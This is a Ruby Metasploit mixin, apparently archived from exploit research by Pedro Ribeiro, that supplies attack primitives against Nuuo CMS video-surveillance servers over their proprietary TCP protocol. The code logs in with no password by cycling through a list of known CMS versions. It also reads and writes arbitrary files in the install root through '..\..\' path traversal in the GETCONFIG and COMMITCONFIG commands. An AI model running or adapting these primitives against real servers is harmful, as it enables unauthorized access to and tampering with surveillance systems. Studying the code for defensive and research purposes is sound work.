require 'msf/core/exploit/tcp'

# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the metasploit framework.

###
#
# This module exposes methods that may be useful to exploits that deal with
# servers that speak the Nuuo protocols for their devices and management software.
#
###
module Msf
module Exploit::Remote::Nuuo
  include Exploit::Remote::Tcp

  #
  # Creates an instance of an Nuuo exploit module.
  #
  def initialize(info = {})
    super(update_info(info,
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'
        ],
    ))

    register_options(
      [
        Opt::RHOST,
        Opt::RPORT(5180),
        OptString.new('SESSION', [false, 'Session number of logged in user']),
        OptString.new('USERNAME', [true, 'Username to login as', 'admin']),
        OptString.new('PASSWORD', [false, 'Password for the specified user']),
      ], Msf::Exploit::Remote::Nuuo)

    register_advanced_options(
      [
        OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']),
      ])

    @session = nil

    # All CMS versions at time of release
    # Note that these primitives are not guaranteed to work in all versions
    # Add new version strings here
    # We need these to login;
    # when requesting a USERLOGIN we need to send the same version as the server...
    @versions =
      [
        "1.3.1",
        "1.3.3",
        "1.5.0",
        "1.5.2",
        "1.6.0",
        "1.7.0",
        "2.1.0",
        "2.3.0",
        "2.3.1",
        "2.3.2",
        "2.4.0",
        "2.5.0",
        "2.6.0",
        "2.7.0",
        "2.8.0",
        "2.9.0",
        "2.10.0",
        "2.11.0",
        "3.0.0",
        "3.1.0",
        "3.2.0",
        "3.3.0",
        "3.4.0",
        "3.5.0"
      ]

    @version = nil
  end


  ##
  # Formats the message we want to send into the correct protocol format
  ##
  def format_msg(msg)
    final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n"
    for line in msg[1..msg.length-1]
      final_msg = final_msg + line + "\r\n"
    end
    if not final_msg =~ /USERLOGIN/
      final_msg = final_msg + "User-Session-No: " + @session.to_s + "\r\n"
    end
    return final_msg + "\r\n"
  end

  ##
  # Sends a protocol message aynchronously - fire and forget
  ##
  def send_msg_async(msg)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
      sock.write(format_msg(msg))
      # socket cannot be closed, it causes exploits to fail...
      #sock.close
    rescue
      return
    end
  end

  ##
  # Sends a protocol message synchronously - sends and returns the result
  ##
  def send_msg(msg)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
      sock.write(format_msg(msg))
      data = sock.recv(4096)
      more_data = ''
      if data =~ /Content-Length:([0-9]+)/
        data_sz = $1.to_i
        recv = 0
        while recv < data_sz
          new_data = sock.recv(4096)
          more_data << new_data
          recv += new_data.length
        end
      end
      # socket cannot be closed, it causes exploits to fail...
      #sock.close
      return [data, more_data]
    rescue
      return ["",""]
    end
  end

  ##
  # Sends a protocol data message synchronously - sends and returns the result
  # A data message is composed of two parts: first the message length and protocol headers,
  # then the actual data.
  ##
  def send_data_msg(msg, data)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
      sock.write(format_msg(msg))
      sock.write(data)
      data = sock.recv(4096)
      more_data = ''
      if data =~ /Content-Length:([0-9]+)/
        data_sz = $1.to_i
        recv = 0
        while recv < data_sz
          new_data = sock.recv(4096)
          more_data << new_data
          recv += new_data.length
        end
      end
      # socket cannot be closed, it causes exploits to fail...
      #sock.close
      return [data, more_data]
    rescue
      return ["",""]
    end
  end

  ##
  # Downloads a file from the CMS install root.
  # Add the ZIP extraction and decryption routine once support for it is added to msf.
  ##
  def download_file(filename, decrypt = false)
    data = send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"])
    data[1]
  end


  ##
  # Uploads a file to the CMS install root.
  ##
  def upload_file(filename, file_data)
    data = send_data_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data)
    if data[0] =~ /200/
      true
    else
      false
    end
  end

  def login
    if datastore['SESSION'] != nil
      # since we're logged in, we don't need to guess the version any more
      @session = datastore['SESSION']
    elsif datastore['PASSWORD'] != nil
      @versions.shuffle.each do |version|
        @version = version
        data = login_password
        if data == nil
          next
        else
          @session = data
          break
        end
      end
    else
      @versions.shuffle.each do |version|
        @version = version
        data = login_nopass
        if data == nil
          next
        else
          @session = data
          break
        end
      end
    end
  end

  def login_nopass
    data = send_msg(["USERLOGIN", "Version: #{@version}", "Username: #{datastore['USERNAME']}", \
    "Password-Length: 0", "TimeZone-Length: 0"])
    if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
      return $1
    else
      return nil
    end
  end

  def login_password
    data = send_data_msg(["USERLOGIN", "Version: #{@version}", "Username: #{datastore['USERNAME']}", \
    "Password-Length: #{datastore['PASSWORD'].length}", "TimeZone-Length: 0"], datastore['PASSWORD'])
    if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
      return $1
    else
      return nil
    end
  end

end

end
